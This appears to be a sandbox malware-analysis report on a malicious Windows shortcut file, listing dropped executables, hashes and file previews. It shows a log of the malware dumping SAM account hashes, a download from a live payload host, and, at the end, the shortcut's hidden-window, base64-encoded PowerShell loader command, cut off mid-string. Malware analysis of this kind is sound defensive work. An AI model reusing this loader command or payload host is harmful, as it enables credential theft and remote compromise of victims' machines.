SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KCUHO8C7N1HZE5UYP8LS.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7405329167294004
Encrypted:	false
SSDEEP:	96:U1rCWeqJkvhkvCCt+4+KlZJHA24+KlZJHK:U1xxZ+Eox+EC
MD5:	2512A373586E7A4574BE0B4F9214D63D
SHA1:	EC9971F8C9D196DB2597FB7AF9B5FD2D30BB4E01
SHA-256:	D1482728B3D59BC54F48DF1EE8B4CC47EFC977D8D2B61F9DE05923918276705A
SHA-512:	73DEC7FB80AB45050C1C821BB92217B03DB4087B12DA8DCCA7956BF1E1EC614BEC4215DEEBB330FDD0569D3C9C0C5745E8860A24282348A7695DF1CCBD88F3E1
Malicious:	false
Preview:	...................................FL..................F.".. ......A........K..z.:{.............................:..DG..Yr?.D..U..k0.&...&.........A........K...{...K......t...CFSF..1.....&W.<..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......&W.<.Y\|].............................A.p.p.D.a.t.a...B.V.1......Yz]..Roaming.@......&W.<.Yz].............................R.o.a.m.i.n.g.....\.1.....+YS6..MICROS~1..D......&W.<.Yv]...........................RN.M.i.c.r.o.s.o.f.t.....V.1......Yu-..Windows.@......&W.<.Yv]...........................H..W.i.n.d.o.w.s.......1.....&W.<..STARTM~1..n......&W.<.Yv]....................D.......b.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....&W.<..Programs..j......&W.<.Yv]....................@......+}.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......&W.<.Y.,..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~2.LNK..^......&W.<.Y.]....8...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_04tj0vl3.ewp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_5pqlpv0p.yhv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_csffvhqw.m2q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_lsslatsz.f01.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mrx0s3ex.ndk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_nh1z3g3i.omq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ualczav4.v53.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ugb5mbkv.yuu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xlnwxxij.mrm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_zvco0vfx.lbi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\deviceId.txt

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.185823555333621
Encrypted:	false
SSDEEP:	3:1FvBhiaTin:Vhun
MD5:	2E34892691A39C064B28C2196A4735CB
SHA1:	3037D60AA679A60A2A690C9EB314C27E8DB33452
SHA-256:	7E677E793E94E3C36E5016ABDA2CF6E6B9E3BA3AEC1DF05E77CC3771967D219E
SHA-512:	63323EB0221FA1FE3A83C65F75803AEE76A338D0685E1036BFAB1EA95636E221471D7CC7CA0D040B8CB183A2F5F8C6C892AD65AF0EA87AA9EB4588E435FE0D81
Malicious:	false
Preview:	.ECA4E7F645CEABCF141D602CC3089672..

C:\Windows\Temp\docsz

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.934868083574915
Encrypted:	false
SSDEEP:	6:IwRJBYzRJBYlr8SJBY4U4GVjWOzE8hkYBdVPGMnpqX:I8sRs8SD8jW8rhkYVlpo
MD5:	EEEBDD827B6D27699BD0E7EDE9D0C190
SHA1:	A4673966530C5761A1D69BDD1B29B53BF6CC4A3B
SHA-256:	B101D86A6B4DEDBFE5863C976452567A727E91247369751845752168F9964EF3
SHA-512:	BCE218B9B04ABB9C6C05C76BFAC40B4043CA1145F635E7E3F8D8A377F4FF2B9E2839CFDEEDDFD592428EE862452A06E4E1A2B7BBCB99030FA1703DFB545A6CF2
Malicious:	false
Preview:	Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..User1\|9D40E39ADEB5D56955BED3470DA6D02C..

C:\Windows\Temp\dp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.7179360295889174
Encrypted:	false
SSDEEP:	3:QnlVldGlVlil:QdUu
MD5:	A6850FB0659A548ACF3B99814BF23C93
SHA1:	690D23F93EEA833EB4D5B8D20F3938E25E64BB72
SHA-256:	38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
SHA-512:	DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
Malicious:	false
Preview:	..1.9.2.0.x.1.0.8.0.....

C:\Windows\Temp\file

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	98304:QItEWBowFOHzb0sg6jsDNg4WNbpsDFnoDhno/S1w8s/I:QItDBowFOTbk6mNWNbpYtej1w8s/I
MD5:	E6C9E4ABDC9BACE6F54B1ED41622F54F
SHA1:	7FD64CA2D9718F31F05692279F428CB7B8EFF8C6
SHA-256:	2D285378BB1F24AA547EDB806FA18137127882F46EA1A3FA466F2645520233F1
SHA-512:	F1245224972CE79505D184DDE00A94B33D5FD12500A84C31A620BD208DA5913DD09AEC131F9C6A0E4F295F0F04FF9284667408DE209C3B552F25527FC90837FB
Malicious:	false
Preview:	L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e.....Yf..........#....(..F..Q8...............A..........................................a..........................................A..Y...YA..U....a.......................q..................................)...q...A............!^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`udey.....I........................./se`u`..MF3..!^..I3...F.............A..A/e`u`........q...o...1{.............A.../qe`u`................{.............A..A/srsb........a.......o~.............A..A/sdmnb.......q.......u~.............A..C........................................................................................................................................................................................

C:\Windows\Temp\log_rdp_11122024_06.txt

Download File

Process:	C:\Windows\Temp\myRdpService.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	872
Entropy (8bit):	5.309243916679569
Encrypted:	false
SSDEEP:	24:E5IHl70WgoQrrFtcV/DyPCo/1B8gaPgsPhNwN2:E5Oco4R9VmRna2
MD5:	92C6BD7CDA7C3625042F2FB47F271C07
SHA1:	4895135756782BBEF48A6A50F2898AD40B6D9C29
SHA-256:	6A62B46D62709EA7931A244CB61EBB8E0FDE3AAC31E7481FC6DFDB890B8CB6F6
SHA-512:	EB5ECDBA6C04651958A08FCF9A9E1DFAE3FA8574B191CAB9DB66BD1E5973204A3B2FBA8D7C697846C35239A26400955DAC39BFB3249FA89A315DCD9263B5A6F8
Malicious:	false
Preview:	18:45:48 - Internet connection..18:45:48 - Begin check server..18:45:54 - Begin connect..18:45:59 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..18:45:59 - Successfully accessed SAM hive...18:45:59 - Reading usernames and encrypted hashes.....18:45:59 - Administrator..18:45:59 - Guest..18:45:59 - DefaultAccount..18:45:59 - WDAGUtilityAccount..18:45:59 - user..18:45:59 - User1..18:45:59 - SAM_Resolution_1920x1080..18:46:00 - SAM_USER_Administrator\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:00 - SAM_USER_Guest\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:01 - SAM_USER_DefaultAccount\|31d6cfe0d16ae931b73c59d7e0c089c0..18:46:02 - SAM_USER_WDAGUtilityAccount\|21A354058DFF20F7943C42B0FDF94216..18:46:02 - SAM_USER_user\|8EB3A1DDA3B8A025E21A55FEA19A1BEC..18:46:03 - SAM_USER_User1\|9D40E39ADEB5D56955BED3470DA6D02C..18:46:20 - detect message PING..18:46:20 - PING..

C:\Windows\Temp\myRdpService.exe

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9429504
Entropy (8bit):	6.889775220697302
Encrypted:	false
SSDEEP:	98304:mfhsbOItDNUaBVthhcT/Fe5Yqa5z1bRT6G0EYd+Tj:HbO8N9BH4ToYqopbRT6GLpj
MD5:	5641F3A5B9787F23D3D34F0D9F791B7A
SHA1:	021867C55B5724C28981F58A9A38DBE298057793
SHA-256:	5744321DFC2240023EF89A8D3A4B57C635FEDFEF0E265F1C8F7971AA9F635C34
SHA-512:	3E96E1675C96A0CEAD3E7294128CB742D7813F65AB55F907D0F447B966BCD086FB533D25D710E9F9CC5C1781D1819C2F2C86DEBBD94A6A901C9A49AB30430E7B
Malicious:	true
Joe Sandbox View:	Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d.....Xg.........."....).>P...A................@.............................@............`...................................................\|............................ ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managedX.C..`....C..L.............. ..`hydrated`....`P..........................rdata..`t9...l..v9..BP.............@..@.data....x..........................@....pdata...............>..............@..@.rsrc..............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

C:\Windows\Temp\regBackup.reg

Download File

Process:	C:\Windows\regedit.exe
File Type:	Windows Registry little-endian text (Win2K or above)
Category:	dropped
Size (bytes):	5492
Entropy (8bit):	3.2564408602149646
Encrypted:	false
SSDEEP:	96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
MD5:	A766DECEF71813234AAF41DB4EF5086E
SHA1:	564473B1CB74ED13E820C62F30642836B8D983C6
SHA-256:	8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
SHA-512:	C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
Malicious:	true
Preview:	..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

C:\Windows\Temp\svczHost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8357376
Entropy (8bit):	6.871261170959167
Encrypted:	false
SSDEEP:	49152:gAolapw+tVy4CZ79cORdCVhYWXnMdI7pz1YoSBrIc7ywciqQMmLdp1sVOFJHluxx:pgacEZyBpu9r/derR2hs/OLYGMIU9+
MD5:	9298A0077E8353244A38CAEFE43AF4CB
SHA1:	155D0C93E1BA7DD7B22228BEC1A030FAE0678398
SHA-256:	B1D69CBC0A2D13B89500D37726AD9E01817C8890262E3CE4A561F82B63708B9A
SHA-512:	34CD8853EEBD3E54393726DF668D5F620EE6AC0FD5967F91A26B2E5F4186CB403A2197D9DE497CB93B3498EBC0E2DF098D122376E0276A15F1D412C7D874D87A
Malicious:	true
Joe Sandbox View:	Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse Filename: rRtGI3L0ca.lnk, Detection: malicious, Browse Filename: L0jeOoavu4.lnk, Detection: malicious, Browse Filename: MdmRznA6gx.lnk, Detection: malicious, Browse Filename: Cj3OWJHzls.lnk, Detection: malicious, Browse Filename: m9c7iq9nzP.lnk, Detection: malicious, Browse Filename: WXahq3ZEss.lnk, Detection: malicious, Browse Filename: 0A3NB8ot11.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d.....Xg.........."....)..G..P9...............@..........................................`..........................................@..X...X@..T....`.......................p..................................(...p...@............ _..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydratedx.....H..........................rdata..LG2.. _..H2...G.............@..@.data........p...n...0z.............@....pdata................z.............@..@.rsrc........`.......n..............@..@.reloc.......p.......t..............@..B........................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\Temp\svczHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.498593025747649
Encrypted:	false
SSDEEP:	3:eDLpHWfPdBEyQOKxxTLvn:eDLp2f0yQdTb
MD5:	05E173496762D085F7FA18A69C7444A4
SHA1:	6E3234F94BC13B9DA6874018381F42B92110529F
SHA-256:	93FF64CCD6A601DDBCF3B8E628FCF4C398B56C8E5F287595A82BAF918EA0AED8
SHA-512:	29152792D384B3C5FF8E10E92909F40AA6AA2BB167FDEE9EA6FBE73D38435563987FB1201962F40F0F6C2AF6F6215B33B6DD2512FE16497D7BBB8957DA18FE61
Malicious:	false
Preview:	Begin download https://cocomethode.de/StaticFile/RdpService/63..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=347, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Entropy (8bit):	2.724301131920133
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	3y37oMIUy6.lnk
File size:	5'622 bytes
MD5:	23705713c7d9c13f957b704412f8a4e3
SHA1:	bdcafa33e114a18d5831b15251cf5e7e140ceaf3
SHA256:	10ad35266f238550590d93c6c63b149d4c51fadd302d37c13eef5481a186383c
SHA512:	fdad53bd676e06008f9d16700de099ab39fcf5b76f1a6fbfb8d82b3e0efd5da6ebb5530e0d64b38ba1be402e39cc1e4401e336d1ae7ddb851da52d67a3c25d15
SSDEEP:	96:8LEJ8rlMvomw/1LcGqIz2lE5hgcZFLWBcPhBGUAOh2:8LEJ8rlMvomkBLwcPGrO
TLSH:	E8C1120669EB10C8E16787710FE8F9FF477AF4121A2EBAB51040C3818B35784DA629B9
File Content Preview:	L..................F.B..................................[...................5....P.O. .:i.....+00.../C:\...................V.1...........Windows.@.............................................W.i.n.d.o.w.s.....Z.1...........system32..B.....................

File Icon


Icon Hash:	69e9a9a9a3a3a1a5

Static Windows Shortcut Info

General
Relative Path:	..\..\..\Windows\system32\cmd.exe
Command Line Argument:	/v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAG